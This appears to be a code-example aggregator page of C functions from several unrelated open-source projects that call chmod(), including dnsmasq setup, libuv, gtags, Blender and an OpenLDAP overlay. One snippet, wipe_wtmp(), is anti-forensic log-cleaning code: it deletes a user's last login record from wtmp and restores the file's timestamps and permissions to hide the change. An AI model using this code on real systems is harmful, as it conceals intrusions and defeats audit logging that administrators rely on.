					get_single_ip(nvram_safe_get
						      ("lan_ipaddr"), 0),
					get_single_ip(nvram_safe_get
						      ("lan_ipaddr"), 1),
					get_single_ip(nvram_safe_get
						      ("lan_ipaddr"), 2),
					atoi(nvram_safe_get("dhcp_start")) +
					atoi(nvram_safe_get("dhcp_num")) - 1);
			}
			fprintf(fp, "%s,", nvram_safe_get("lan_netmask"));
			fprintf(fp, "%sm\n", nvram_safe_get("dhcp_lease"));
		}

		for (i = 0; i < mdhcpcount; i++) {
			if (strcmp(getmdhcp(1, i), "On"))
				continue;
			if (strlen(nvram_nget("%s_ipaddr", getmdhcp(0, i))) == 0
			    || strlen(nvram_nget("%s_netmask", getmdhcp(0, i)))
			    == 0)
				continue;
			fprintf(fp, "dhcp-range=%s,", getmdhcp(0, i));
			fprintf(fp, "%d.%d.%d.",
				get_single_ip(nvram_nget
					      ("%s_ipaddr", getmdhcp(0, i)),
					      0),
				get_single_ip(nvram_nget
					      ("%s_ipaddr", getmdhcp(0, i)),
					      1),
				get_single_ip(nvram_nget
					      ("%s_ipaddr", getmdhcp(0, i)),
					      2));
			fprintf(fp, "%s,", getmdhcp(2, i));
			fprintf(fp, "%d.%d.%d.",
				get_single_ip(nvram_nget
					      ("%s_ipaddr", getmdhcp(0, i)),
					      0),
				get_single_ip(nvram_nget
					      ("%s_ipaddr", getmdhcp(0, i)),
					      1),
				get_single_ip(nvram_nget
					      ("%s_ipaddr", getmdhcp(0, i)),
					      2));
			int end = atoi(getmdhcp(2, i));

			end += atoi(getmdhcp(3, i));
			fprintf(fp, "%d,", end);
			fprintf(fp, "%s,",
				nvram_nget("%s_netmask", getmdhcp(0, i)));
			fprintf(fp, "%sm\n", getmdhcp(4, i));
		}

		int leasenum = atoi(nvram_safe_get("static_leasenum"));

		if (leasenum > 0) {
			char *lease = nvram_safe_get("static_leases");
			char *leasebuf = (char *)malloc(strlen(lease) + 1);
			char *cp = leasebuf;

			strcpy(leasebuf, lease);
			for (i = 0; i < leasenum; i++) {
				char *mac = strsep(&leasebuf, "=");
				char *host = strsep(&leasebuf, "=");
				char *ip = strsep(&leasebuf, "=");
				char *time = strsep(&leasebuf, " ");

				if (mac == NULL || host == NULL || ip == NULL)
					continue;
				if (!time || strlen(time) == 0)
					fprintf(fp,
						"dhcp-host=%s,%s,%s,infinite\n",
						mac, host, ip);
				else
					fprintf(fp, "dhcp-host=%s,%s,%s,%sm\n",
						mac, host, ip, time);

				addHost(host, ip);
			}
			free(cp);
		}
	}
	/* stop dns rebinding for private addresses */
	if (nvram_match("dnsmasq_no_dns_rebind", "1")) {
		fprintf(fp, "stop-dns-rebind\n");
	}
	/*
	 * Additional options 
	 */
	if (nvram_invmatch("dnsmasq_options", "")) {
		fwritenvram("dnsmasq_options", fp);
	}
	fclose(fp);

	dns_to_resolv();

	chmod("/etc/lease_update.sh", 0700);
	ret = eval("dnsmasq", "--conf-file=/tmp/dnsmasq.conf");
	dd_syslog(LOG_INFO, "dnsmasq : dnsmasq daemon successfully started\n");

	cprintf("done\n");
	return;
}
Exemplo n.º 12
0
static struct wpa_priv_interface *
wpa_priv_interface_init(const char *dir, const char *params)
{
        struct wpa_priv_interface *iface;
        char *pos;
        size_t len;
        struct sockaddr_un addr;
        int i;

        pos = os_strchr(params, ':');
        if (pos == NULL)
                return NULL;

        iface = os_zalloc(sizeof(*iface));
        if (iface == NULL)
                return NULL;
        iface->fd = -1;

        len = pos - params;
        iface->driver_name = os_malloc(len + 1);
        if (iface->driver_name == NULL) {
                wpa_priv_interface_deinit(iface);
                return NULL;
        }
        os_memcpy(iface->driver_name, params, len);
        iface->driver_name[len] = '\0';

        for (i = 0; wpa_supplicant_drivers[i]; i++) {
                if (os_strcmp(iface->driver_name,
                              wpa_supplicant_drivers[i]->name) == 0) {
                        iface->driver = wpa_supplicant_drivers[i];
                        break;
                }
        }
        if (iface->driver == NULL) {
                wpa_printf(MSG_ERROR, "Unsupported driver '%s'",
                           iface->driver_name);
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        pos++;
        iface->ifname = os_strdup(pos);
        if (iface->ifname == NULL) {
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        len = os_strlen(dir) + 1 + os_strlen(iface->ifname);
        iface->sock_name = os_malloc(len + 1);
        if (iface->sock_name == NULL) {
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        os_snprintf(iface->sock_name, len + 1, "%s/%s", dir, iface->ifname);
        if (os_strlen(iface->sock_name) >= sizeof(addr.sun_path)) {
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        iface->fd = socket(PF_UNIX, SOCK_DGRAM, 0);
        if (iface->fd < 0) {
                perror("socket(PF_UNIX)");
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        os_memset(&addr, 0, sizeof(addr));
        addr.sun_family = AF_UNIX;
        os_strlcpy(addr.sun_path, iface->sock_name, sizeof(addr.sun_path));

        if (bind(iface->fd, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
                wpa_printf(MSG_DEBUG, "bind(PF_UNIX) failed: %s",
                           strerror(errno));
                if (connect(iface->fd, (struct sockaddr *) &addr,
                            sizeof(addr)) < 0) {
                        wpa_printf(MSG_DEBUG, "Socket exists, but does not "
                                   "allow connections - assuming it was "
                                   "leftover from forced program termination");
                        if (unlink(iface->sock_name) < 0) {
                                perror("unlink[ctrl_iface]");
                                wpa_printf(MSG_ERROR, "Could not unlink "
                                           "existing ctrl_iface socket '%s'",
                                           iface->sock_name);
                                goto fail;
                        }
                        if (bind(iface->fd, (struct sockaddr *) &addr,
                                 sizeof(addr)) < 0) {
                                perror("bind(PF_UNIX)");
                                goto fail;
                        }
                        wpa_printf(MSG_DEBUG, "Successfully replaced leftover "
                                   "socket '%s'", iface->sock_name);
                } else {
                        wpa_printf(MSG_INFO, "Socket exists and seems to be "
                                   "in use - cannot override it");
                        wpa_printf(MSG_INFO, "Delete '%s' manually if it is "
                                   "not used anymore", iface->sock_name);
                        goto fail;
                }
        }

        if (chmod(iface->sock_name, S_IRWXU | S_IRWXG | S_IRWXO) < 0) {
                perror("chmod");
                goto fail;
        }

        eloop_register_read_sock(iface->fd, wpa_priv_receive, iface, NULL);

        return iface;

fail:
        wpa_priv_interface_deinit(iface);
        return NULL;
}
Exemplo n.º 13
0
void RunBSP(const char* name)
{
  // http://zerowing.idsoftware.com/bugzilla/show_bug.cgi?id=503
  // make sure we don't attempt to region compile a map with the camera outside the region
  if (region_active && !Region_cameraValid())
  {
    globalErrorStream() << "The camera must be in the region to start a region compile.\n";
    return;
  }

  SaveMap();

  if(Map_Unnamed(g_map))
  {
    globalOutputStream() << "build cancelled\n";
    return;
  }

  if (g_SnapShots_Enabled && !Map_Unnamed(g_map) && Map_Modified(g_map))
  {
    Map_Snapshot();
  }

  if (region_active)
  {
    const char* mapname = Map_Name(g_map);
    StringOutputStream name(256);
    name << StringRange(mapname, path_get_filename_base_end(mapname)) << ".reg";
    Map_SaveRegion(name.c_str());
  }

  Pointfile_Delete();

  bsp_init();

  if (g_WatchBSP_Enabled)
  {
    ArrayCommandListener listener;
    build_run(name, listener);
    // grab the file name for engine running
    const char* fullname = Map_Name(g_map);
    StringOutputStream bspname(64);
    bspname << StringRange(path_get_filename_start(fullname), path_get_filename_base_end(fullname));
    BuildMonitor_Run( listener.array(), bspname.c_str() );
  }
  else
  {
    char junkpath[PATH_MAX];
    strcpy(junkpath, SettingsPath_get());
    strcat(junkpath, "junk.txt");

    char batpath[PATH_MAX];
#if defined(POSIX)
    strcpy(batpath, SettingsPath_get());
    strcat(batpath, "qe3bsp.sh");
#elif defined(WIN32)
    strcpy(batpath, SettingsPath_get());
    strcat(batpath, "qe3bsp.bat");
#else
#error "unsupported platform"
#endif
    bool written = false;
    {
      TextFileOutputStream batchFile(batpath);
      if(!batchFile.failed())
      {
#if defined (POSIX)
        batchFile << "#!/bin/sh \n\n";
#endif
        BatchCommandListener listener(batchFile, junkpath);
        build_run(name, listener);
        written = true;
      }
    }
    if(written)
    {
#if defined (POSIX)
      chmod (batpath, 0744);
#endif
      globalOutputStream() << "Writing the compile script to '" << batpath << "'\n";
      globalOutputStream() << "The build output will be saved in '" << junkpath << "'\n";
      Q_Exec(batpath, NULL, NULL, true);
    }
  }

  bsp_shutdown();
}
Exemplo n.º 14
0
void wipe_wtmp(char *username)
{
  int i;			/* PROG: general purpose counter */
  int j;			/* PROG: general purpose counter */
  int wtmpfd;			/* PROG: fd for wtmp file        */
  int newfd;			/* PROG: fd for new wtmp file    */
  struct utmp ut_utmp;		/* PROG: utmp entry information  */
  struct stat st_stat;		/* PROG: file statistics         */
  struct fstats fstats;		/* PROG: saved file statistics   */

  /*
   * open WTMP and get file attributes
   */

  if((wtmpfd = open(_PATH_WTMP, O_RDONLY)) < 0) {
    printf("ERROR: failed to open() wtmp\n");
    return;
  }

  if(fstat(wtmpfd, &st_stat) < 0) {
    printf("ERROR: unable to stat() wtmp\n");
    return;
  }

  fstats.uid = st_stat.st_uid;
  fstats.gid = st_stat.st_gid;
  fstats.mode = st_stat.st_mode;
  fstats.time.actime = st_stat.st_atime;
  fstats.time.modtime = st_stat.st_mtime;

  /*
   * open temporary WTMP file
   */

  if((newfd = open("/tmp/.nwtmp", O_CREAT | O_WRONLY, 0600)) < 0) {
    printf("ERROR: open() failed\n");
    return;
  }

  /*
   * find the last entry for username and save index value
   */

  printf("removing '%s' from WTMP\t: ....................", username);

  for(i = 0; read(wtmpfd, &ut_utmp, sizeof(ut_utmp)) > 0;)
    if(!strcmp(ut_utmp.ut_name, username))
      i++;

  /*
   * rewind the WTMP file
   */

  lseek(wtmpfd, -(long)(st_stat.st_size), SEEK_END);

  /*
   * omit the last username entry from the new WTMP file
   */

  for(j = 0; read(wtmpfd, &ut_utmp, sizeof(ut_utmp)) > 0;) {

    if(!strcmp(ut_utmp.ut_name, username)) {
      j++;
      if(j == i)
        continue;
    }

    write(newfd, &ut_utmp, sizeof(ut_utmp));
  }

  /*
   * wipe original WTMP file
   */

  close(wtmpfd);
  wipe(_PATH_WTMP);

  puts(" complete");

  /*
   * replace new WTMP with old WTMP and set file attributes
   */

  rename("/tmp/.nwtmp", _PATH_WTMP);

  utime(_PATH_WTMP, &fstats.time);
  chmod(_PATH_WTMP, fstats.mode);
  chown(_PATH_WTMP, fstats.uid, fstats.gid);

  close(newfd);
}
Exemplo n.º 15
0
static void uv__fs_work(struct uv__work* w) {
  int retry_on_eintr;
  uv_fs_t* req;
  ssize_t r;

  req = container_of(w, uv_fs_t, work_req);
  retry_on_eintr = !(req->fs_type == UV_FS_CLOSE);

  do {
    errno = 0;

#define X(type, action)                                                       \
  case UV_FS_ ## type:                                                        \
    r = action;                                                               \
    break;

    switch (req->fs_type) {
    X(ACCESS, access(req->path, req->flags));
    X(CHMOD, chmod(req->path, req->mode));
    X(CHOWN, chown(req->path, req->uid, req->gid));
    X(CLOSE, close(req->file));
    X(COPYFILE, uv__fs_copyfile(req));
    X(FCHMOD, fchmod(req->file, req->mode));
    X(FCHOWN, fchown(req->file, req->uid, req->gid));
    X(FDATASYNC, uv__fs_fdatasync(req));
    X(FSTAT, uv__fs_fstat(req->file, &req->statbuf));
    X(FSYNC, uv__fs_fsync(req));
    X(FTRUNCATE, ftruncate(req->file, req->off));
    X(FUTIME, uv__fs_futime(req));
    X(LSTAT, uv__fs_lstat(req->path, &req->statbuf));
    X(LINK, link(req->path, req->new_path));
    X(MKDIR, mkdir(req->path, req->mode));
    X(MKDTEMP, uv__fs_mkdtemp(req));
    X(OPEN, uv__fs_open(req));
    X(READ, uv__fs_buf_iter(req, uv__fs_read));
    X(SCANDIR, uv__fs_scandir(req));
    X(READLINK, uv__fs_readlink(req));
    X(REALPATH, uv__fs_realpath(req));
    X(RENAME, rename(req->path, req->new_path));
    X(RMDIR, rmdir(req->path));
    X(SENDFILE, uv__fs_sendfile(req));
    X(STAT, uv__fs_stat(req->path, &req->statbuf));
    X(SYMLINK, symlink(req->path, req->new_path));
    X(UNLINK, unlink(req->path));
    X(UTIME, uv__fs_utime(req));
    X(WRITE, uv__fs_buf_iter(req, uv__fs_write));
    default: abort();
    }
#undef X
  } while (r == -1 && errno == EINTR && retry_on_eintr);

  if (r == -1)
    req->result = -errno;
  else
    req->result = r;

  if (r == 0 && (req->fs_type == UV_FS_STAT ||
                 req->fs_type == UV_FS_FSTAT ||
                 req->fs_type == UV_FS_LSTAT)) {
    req->ptr = &req->statbuf;
  }
}
Exemplo n.º 16
0
int
main(int argc, char **argv)
{
	char dbpath[MAXPATHLEN];
	char cwd[MAXPATHLEN];
	STRBUF *sb = strbuf_open(0);
	int optchar;
	int option_index = 0;
	STATISTICS_TIME *tim;

	/*
	 * Setup GTAGSCONF and GTAGSLABEL environment variable
	 * according to the --gtagsconf and --gtagslabel option.
	 */
	preparse_options(argc, argv);
	/*
	 * Get the project root directory.
	 */
	if (!vgetcwd(cwd, MAXPATHLEN))
		die("cannot get current directory.");
	canonpath(cwd);
	/*
	 * Load configuration file.
	 */
	openconf(cwd);
	configuration();
	setenv_from_config();
	{
		char *env = getenv("GTAGS_OPTIONS");
		if (env && *env)
			argv = prepend_options(&argc, argv, env);
	}
	/*
	 * Execute gtags_hook before the jobs.
	 */
	if (getconfs("gtags_hook", sb)) {
		char *p = serialize_options(argc, argv);
		set_env("GTAGS_COMMANDLINE", p);
		free(p);
		if (system(strbuf_value(sb)))
			fprintf(stderr, "gtags-hook failed: %s\n", strbuf_value(sb));
	}
	logging_arguments(argc, argv);
	while ((optchar = getopt_long(argc, argv, "cd:f:iIn:oOqvwse", long_options, &option_index)) != EOF) {
		switch (optchar) {
		case 0:
			/* already flags set */
			break;
		case OPT_CONFIG:
			show_config = 1;
			if (optarg)
				config_name = optarg;
			break;
		case OPT_GTAGSCONF:
		case OPT_GTAGSLABEL:
			/* These options are already parsed in preparse_options() */
			break;
		case OPT_SINGLE_UPDATE:
			iflag++;
			single_update = optarg;
			break;
		case OPT_ACCEPT_DOTFILES:
			accept_dotfiles = 1;
			break;
		case OPT_SKIP_UNREADABLE:
			skip_unreadable = 1;
			break;
		case 'c':
			cflag++;
			break;
		case 'd':
			dump_target = optarg;
			break;
		case 'f':
			file_list = optarg;
			break;
		case 'i':
			iflag++;
			break;
		case 'I':
			Iflag++;
			break;
		case 'o':
			/*
			 * Though the -o(--omit-gsyms) was removed, this code
			 * is left for compatibility.
			 */
			break;
		case 'O':
			Oflag++;
			break;
		case 'q':
			qflag++;
			break;
		case 'w':
			wflag++;
			break;
		case 'v':
			vflag++;
			break;
		default:
			usage();
			break;
		}
	}
	if (qflag) {
		vflag = 0;
		setquiet();
	}
	if (vflag)
		setverbose();
	if (wflag)
		set_langmap_wflag();
	if (show_version)
		version(NULL, vflag);
	if (show_help)
		help();

	argc -= optind;
        argv += optind;

	/* If dbpath is specified, -O(--objdir) option is ignored. */
	if (argc > 0)
		Oflag = 0;
	if (show_config) {
		openconf(setupdbpath(0) == 0 ? get_root() : NULL);
		if (config_name)
			printconf(config_name);
		else
			fprintf(stdout, "%s\n", getconfline());
		exit(0);
	} else if (dump_target) {
		/*
		 * Dump a tag file.
		 */
		DBOP *dbop = NULL;
		const char *dat = 0;
		int is_gpath = 0;

		if (!test("f", dump_target))
			die("file '%s' not found.", dump_target);
		if ((dbop = dbop_open(dump_target, 0, 0, DBOP_RAW)) == NULL)
			die("file '%s' is not a tag file.", dump_target);
		/*
		 * The file which has a NEXTKEY record is GPATH.
		 */
		if (dbop_get(dbop, NEXTKEY))
			is_gpath = 1;
		for (dat = dbop_first(dbop, NULL, NULL, 0); dat != NULL; dat = dbop_next(dbop)) {
			const char *flag = is_gpath ? dbop_getflag(dbop) : "";

			if (*flag)
				printf("%s\t%s\t%s\n", dbop->lastkey, dat, flag);
			else
				printf("%s\t%s\n", dbop->lastkey, dat);
		}
		dbop_close(dbop);
		exit(0);
	} else if (Iflag) {
#define REQUIRED_MKID_VERSION "4.5"
		char *p;

		if (!usable("mkid"))
			die("mkid not found.");
		if (read_first_line("mkid --version", sb))
			die("mkid cannot executed.");
		p = strrchr(strbuf_value(sb), ' ');
		if (p == NULL)
			die("invalid version string of mkid: %s", strbuf_value(sb));
		switch (check_version(p + 1, REQUIRED_MKID_VERSION)
#ifdef _WIN32
			| strcmp(p + 1, "3.2.99") == 0
#endif
			)  {
		case 1:		break;	/* OK */
		case 0:		die("mkid version %s or later is required.", REQUIRED_MKID_VERSION);
		default:	die("invalid version string of mkid: %s", strbuf_value(sb));
		}
	}

	/*
	 * If 'gtags.files' exists, use it as a file list.
	 * If the file_list other than "-" is given, it must be readable file.
	 */
	if (file_list == NULL && test("f", GTAGSFILES))
		file_list = GTAGSFILES;
	if (file_list && strcmp(file_list, "-")) {
		if (test("d", file_list))
			die("'%s' is a directory.", file_list);
		else if (!test("f", file_list))
			die("'%s' not found.", file_list);
		else if (!test("r", file_list))
			die("'%s' is not readable.", file_list);
	}
	/*
	 * Regularize the path name for single updating (--single-update).
	 */
	if (single_update) {
		static char regular_path_name[MAXPATHLEN];
		char *p = single_update;
		
#if _WIN32 || __DJGPP__
		for (; *p; p++)
			if (*p == '\\')
				*p = '/';
		p = single_update;
#define LOCATEFLAG MATCH_AT_FIRST|IGNORE_CASE
#else
#define LOCATEFLAG MATCH_AT_FIRST
#endif
		if (isabspath(p)) {
			char *q = locatestring(p, cwd, LOCATEFLAG);

			if (q && *q == '/')
				snprintf(regular_path_name, MAXPATHLEN, "./%s", q + 1);
			else
				die("path '%s' is out of the project.", p);

		} else {
			if (p[0] == '.' && p[1] == '/')
				snprintf(regular_path_name, MAXPATHLEN, "%s", p);
			else
				snprintf(regular_path_name, MAXPATHLEN, "./%s", p);
		}
		single_update = regular_path_name;
	}
	/*
	 * Decide directory (dbpath) in which gtags make tag files.
	 *
	 * Gtags create tag files at current directory by default.
	 * If dbpath is specified as an argument then use it.
	 * If the -i option specified and both GTAGS and GRTAGS exists
	 * at one of the candidate directories then gtags use existing
	 * tag files.
	 */
	if (iflag) {
		if (argc > 0)
			realpath(*argv, dbpath);
		else if (!gtagsexist(cwd, dbpath, MAXPATHLEN, vflag))
			strlimcpy(dbpath, cwd, sizeof(dbpath));
	} else {
		if (argc > 0)
			realpath(*argv, dbpath);
		else if (Oflag) {
			char *objdir = getobjdir(cwd, vflag);

			if (objdir == NULL)
				die("Objdir not found.");
			strlimcpy(dbpath, objdir, sizeof(dbpath));
		} else
			strlimcpy(dbpath, cwd, sizeof(dbpath));
	}
	if (iflag && (!test("f", makepath(dbpath, dbname(GTAGS), NULL)) ||
		!test("f", makepath(dbpath, dbname(GRTAGS), NULL)) ||
		!test("f", makepath(dbpath, dbname(GPATH), NULL)))) {
		if (wflag)
			warning("GTAGS, GRTAGS or GPATH not found. -i option ignored.");
		iflag = 0;
	}
	if (!test("d", dbpath))
		die("directory '%s' not found.", dbpath);
	/*
	 * Start processing.
	 */
	if (accept_dotfiles)
		set_accept_dotfiles();
	if (skip_unreadable)
		set_skip_unreadable();
	if (vflag) {
		const char *config_path = getconfigpath();
		const char *config_label = getconfiglabel();

		fprintf(stderr, "[%s] Gtags started.\n", now());
		if (config_path)
			fprintf(stderr, " Using configuration file '%s'.\n", config_path);
		else {
			fprintf(stderr, " Using default configuration.\n");
			if (getenv("GTAGSLABEL"))
				fprintf(stderr, " GTAGSLABEL(--gtagslabel) ignored since configuration file not found.\n");
		}
		if (config_label)
			fprintf(stderr, " Using configuration label '%s'.\n", config_label);
		if (file_list)
			fprintf(stderr, " Using '%s' as a file list.\n", file_list);
	}
	/*
	 * initialize parser.
	 */
	if (vflag && gtags_parser)
		fprintf(stderr, " Using plug-in parser.\n");
	parser_init(langmap, gtags_parser);
	/*
	 * Start statistics.
	 */
	init_statistics();
	/*
	 * incremental update.
	 */
	if (iflag) {
		/*
		 * Version check. If existing tag files are old enough
		 * gtagsopen() abort with error message.
		 */
		GTOP *gtop = gtags_open(dbpath, cwd, GTAGS, GTAGS_MODIFY, 0);
		gtags_close(gtop);
		/*
		 * GPATH is needed for incremental updating.
		 * Gtags check whether or not GPATH exist, since it may be
		 * removed by mistake.
		 */
		if (!test("f", makepath(dbpath, dbname(GPATH), NULL)))
			die("Old version tag file found. Please remake it.");
		(void)incremental(dbpath, cwd);
		print_statistics(statistics);
		exit(0);
	}
	/*
	 * create GTAGS and GRTAGS
	 */
	createtags(dbpath, cwd);
	/*
	 * create idutils index.
	 */
	if (Iflag) {
		FILE *op;
		GFIND *gp;
		const char *path;

		tim = statistics_time_start("Time of creating ID");
		if (vflag)
			fprintf(stderr, "[%s] Creating indexes for idutils.\n", now());
		strbuf_reset(sb);
		/*
		 * Since idutils stores the value of PWD in ID file, we need to
		 * force idutils to follow our style.
		 */
#if _WIN32 || __DJGPP__
		strbuf_puts(sb, "mkid --files0-from=-");
#else
		strbuf_sprintf(sb, "PWD=%s mkid --files0-from=-", quote_shell(cwd));
#endif
		if (vflag)
			strbuf_puts(sb, " -v");
		strbuf_sprintf(sb, " --file=%s/ID", quote_shell(dbpath));
		if (vflag) {
#ifdef __DJGPP__
			if (is_unixy())	/* test for 4DOS as well? */
#endif
			strbuf_puts(sb, " 1>&2");
		} else {
			strbuf_puts(sb, " >" NULL_DEVICE);
#ifdef __DJGPP__
			if (is_unixy())	/* test for 4DOS as well? */
#endif
			strbuf_puts(sb, " 2>&1");
		}
		if (debug)
			fprintf(stderr, "executing mkid like: %s\n", strbuf_value(sb));
		op = popen(strbuf_value(sb), "w");
		if (op == NULL)
			die("cannot execute '%s'.", strbuf_value(sb));
		gp = gfind_open(dbpath, NULL, GPATH_BOTH, 0);
		while ((path = gfind_read(gp)) != NULL) {
			fputs(path, op);
			fputc('\0', op);
		}
		gfind_close(gp);
		if (pclose(op) != 0)
			die("terminated abnormally '%s' (errno = %d).", strbuf_value(sb), errno);
		if (test("f", makepath(dbpath, "ID", NULL)))
			if (chmod(makepath(dbpath, "ID", NULL), 0644) < 0)
				die("cannot chmod ID file.");
		statistics_time_end(tim);
	}
	if (vflag)
		fprintf(stderr, "[%s] Done.\n", now());
	closeconf();
	strbuf_close(sb);
	print_statistics(statistics);

	return 0;
}
Exemplo n.º 17
0
static bool write_external_bake_pixels(
        const char *filepath, BakePixel pixel_array[], float *buffer,
        const int width, const int height, const int margin,
        ImageFormatData *im_format, const bool is_noncolor)
{
	ImBuf *ibuf = NULL;
	bool ok = false;
	bool is_float;

	is_float = im_format->depth > 8;

	/* create a new ImBuf */
	ibuf = IMB_allocImBuf(width, height, im_format->planes, (is_float ? IB_rectfloat : IB_rect));

	if (!ibuf)
		return false;

	/* populates the ImBuf */
	if (is_float) {
		IMB_buffer_float_from_float(
		        ibuf->rect_float, buffer, ibuf->channels,
		        IB_PROFILE_LINEAR_RGB, IB_PROFILE_LINEAR_RGB, false,
		        ibuf->x, ibuf->y, ibuf->x, ibuf->x);
	}
	else {
		if (!is_noncolor) {
			const char *from_colorspace = IMB_colormanagement_role_colorspace_name_get(COLOR_ROLE_SCENE_LINEAR);
			const char *to_colorspace = IMB_colormanagement_get_rect_colorspace(ibuf);
			IMB_colormanagement_transform(buffer, ibuf->x, ibuf->y, ibuf->channels, from_colorspace, to_colorspace, false);
		}

		IMB_buffer_byte_from_float(
		        (unsigned char *) ibuf->rect, buffer, ibuf->channels, ibuf->dither,
		        IB_PROFILE_SRGB, IB_PROFILE_SRGB,
		        false, ibuf->x, ibuf->y, ibuf->x, ibuf->x);
	}

	/* margins */
	if (margin > 0) {
		char *mask_buffer = NULL;
		const size_t num_pixels = (size_t)width * (size_t)height;

		mask_buffer = MEM_callocN(sizeof(char) * num_pixels, "Bake Mask");
		RE_bake_mask_fill(pixel_array, num_pixels, mask_buffer);
		RE_bake_margin(ibuf, mask_buffer, margin);

		if (mask_buffer)
			MEM_freeN(mask_buffer);
	}

	if ((ok = BKE_imbuf_write(ibuf, filepath, im_format))) {
#ifndef WIN32
		chmod(filepath, S_IRUSR | S_IWUSR);
#endif
		//printf("%s saving bake map: '%s'\n", __func__, filepath);
	}

	/* garbage collection */
	IMB_freeImBuf(ibuf);

	return ok;
}
Exemplo n.º 18
0
static int
nssov_db_open(
	BackendDB *be,
	ConfigReply *cr )
{
	slap_overinst *on = (slap_overinst *)be->bd_info;
	nssov_info *ni = on->on_bi.bi_private;
	nssov_mapinfo *mi;

	int i, sock;
	struct sockaddr_un addr;

	/* Set default bases */
	for (i=0; i<NM_NONE; i++) {
		if ( BER_BVISNULL( &ni->ni_maps[i].mi_base )) {
			ber_dupbv( &ni->ni_maps[i].mi_base, &be->be_nsuffix[0] );
		}
		if ( ni->ni_maps[i].mi_scope == LDAP_SCOPE_DEFAULT )
			ni->ni_maps[i].mi_scope = LDAP_SCOPE_SUBTREE;
	}
	/* validate attribute maps */
	mi = ni->ni_maps;
	for ( i=0; i<NM_NONE; i++,mi++) {
		const char *text;
		int j;
		for (j=0; !BER_BVISNULL(&mi->mi_attrkeys[j]); j++) {
			/* skip attrs we already validated */
			if ( mi->mi_attrs[j].an_desc ) continue;
			if ( slap_bv2ad( &mi->mi_attrs[j].an_name,
				&mi->mi_attrs[j].an_desc, &text )) {
				Debug(LDAP_DEBUG_ANY,"nssov: invalid attr \"%s\": %s\n",
					mi->mi_attrs[j].an_name.bv_val, text, 0 );
				return -1;
			}
		}
		BER_BVZERO(&mi->mi_attrs[j].an_name);
		mi->mi_attrs[j].an_desc = NULL;
	}

	/* Find host and authorizedService definitions */
	if ((ni->ni_pam_opts & NI_PAM_USERHOST) && !nssov_pam_host_ad)
	{
		const char *text;
		i = slap_str2ad("host", &nssov_pam_host_ad, &text);
		if (i != LDAP_SUCCESS) {
			Debug(LDAP_DEBUG_ANY,"nssov: host attr unknown: %s\n",
				text, 0, 0 );
			return -1;
		}
	}
	if ((ni->ni_pam_opts & (NI_PAM_USERSVC|NI_PAM_HOSTSVC)) &&
		!nssov_pam_svc_ad)
	{
		const char *text;
		i = slap_str2ad("authorizedService", &nssov_pam_svc_ad, &text);
		if (i != LDAP_SUCCESS) {
			Debug(LDAP_DEBUG_ANY,"nssov: authorizedService attr unknown: %s\n",
				text, 0, 0 );
			return -1;
		}
	}
	if ( slapMode & SLAP_SERVER_MODE ) {
		/* make sure /var/run/nslcd exists */
		if (mkdir(NSLCD_PATH, (mode_t) 0555)) {
			Debug(LDAP_DEBUG_TRACE,"nssov: mkdir(%s) failed (ignored): %s\n",
					NSLCD_PATH,strerror(errno),0);
		} else {
			Debug(LDAP_DEBUG_TRACE,"nssov: created %s\n",NSLCD_PATH,0,0);
		}

		/* create a socket */
		if ( (sock=socket(PF_UNIX,SOCK_STREAM,0))<0 )
		{
			Debug(LDAP_DEBUG_ANY,"nssov: cannot create socket: %s\n",strerror(errno),0,0);
			return -1;
		}
		/* remove existing named socket */
		if (unlink(NSLCD_SOCKET)<0)
		{
			Debug( LDAP_DEBUG_TRACE,"nssov: unlink() of "NSLCD_SOCKET" failed (ignored): %s\n",
							strerror(errno),0,0);
		}
		/* create socket address structure */
		memset(&addr,0,sizeof(struct sockaddr_un));
		addr.sun_family=AF_UNIX;
		strncpy(addr.sun_path,NSLCD_SOCKET,sizeof(addr.sun_path));
		addr.sun_path[sizeof(addr.sun_path)-1]='\0';
		/* bind to the named socket */
		if (bind(sock,(struct sockaddr *)&addr,sizeof(struct sockaddr_un)))
		{
			Debug( LDAP_DEBUG_ANY,"nssov: bind() to "NSLCD_SOCKET" failed: %s",
							strerror(errno),0,0);
			if (close(sock))
				Debug( LDAP_DEBUG_ANY,"nssov: problem closing socket: %s",strerror(errno),0,0);
			return -1;
		}
		/* close the file descriptor on exit */
		if (fcntl(sock,F_SETFD,FD_CLOEXEC)<0)
		{
			Debug( LDAP_DEBUG_ANY,"nssov: fcntl(F_SETFL,O_NONBLOCK) failed: %s",strerror(errno),0,0);
			if (close(sock))
				Debug( LDAP_DEBUG_ANY,"nssov: problem closing socket: %s",strerror(errno),0,0);
			return -1;
		}
		/* set permissions of socket so anybody can do requests */
		/* Note: we use chmod() here instead of fchmod() because
			 fchmod does not work on sockets
			 http://www.opengroup.org/onlinepubs/009695399/functions/fchmod.html
			 http://lkml.org/lkml/2005/5/16/11 */
		if (chmod(NSLCD_SOCKET,(mode_t)0666))
		{
			Debug( LDAP_DEBUG_ANY,"nssov: chmod(0666) failed: %s",strerror(errno),0,0);
			if (close(sock))
				Debug( LDAP_DEBUG_ANY,"nssov: problem closing socket: %s",strerror(errno),0,0);
			return -1;
		}
		/* start listening for connections */
		if (listen(sock,SOMAXCONN)<0)
		{
			Debug( LDAP_DEBUG_ANY,"nssov: listen() failed: %s",strerror(errno),0,0);
			if (close(sock))
				Debug( LDAP_DEBUG_ANY,"nssov: problem closing socket: %s",strerror(errno),0,0);
			return -1;
		}
		ni->ni_socket = sock;
		ni->ni_conn = connection_client_setup( sock, acceptconn, ni );
	}

	return 0;
}
Exemplo n.º 19
0
/**
 * \internal Build the z/TPF ELF-format core dump from the JDB built by CCCPSE.
 *
 * First figure out the absolute file path (starts with a '/' and
 * ends with a file suffix) we are to write the dump to, then ensure we
 * have enough room left over in the Java dump buffer left for us by 
 * CCCPSE. If we do not, return an error. Otherwise, section the buffer
 * space off, building in order:
 *    - The ELF64 header
 *    - The ELF64 Program Header section
 *    - The ELF64 NOTE section
 *      
 * Finally, write all the above to the indicated filename, and follow it
 * with a copy of storage contents from the Java dump buffer, which is
 * laid out in ascending address order, with the ELF64_Phdrs created to
 * match the dump buffer. Expect a final file size measured in tens
 * of megabytes.
 *
 * As a matter of protocol, set the first 8 bytes of the Java Dump
 * Buffer (struct ijavdbf) to zeros so CCCPSE knows it's okay to 
 * write over its contents once we're done working with it.
 *
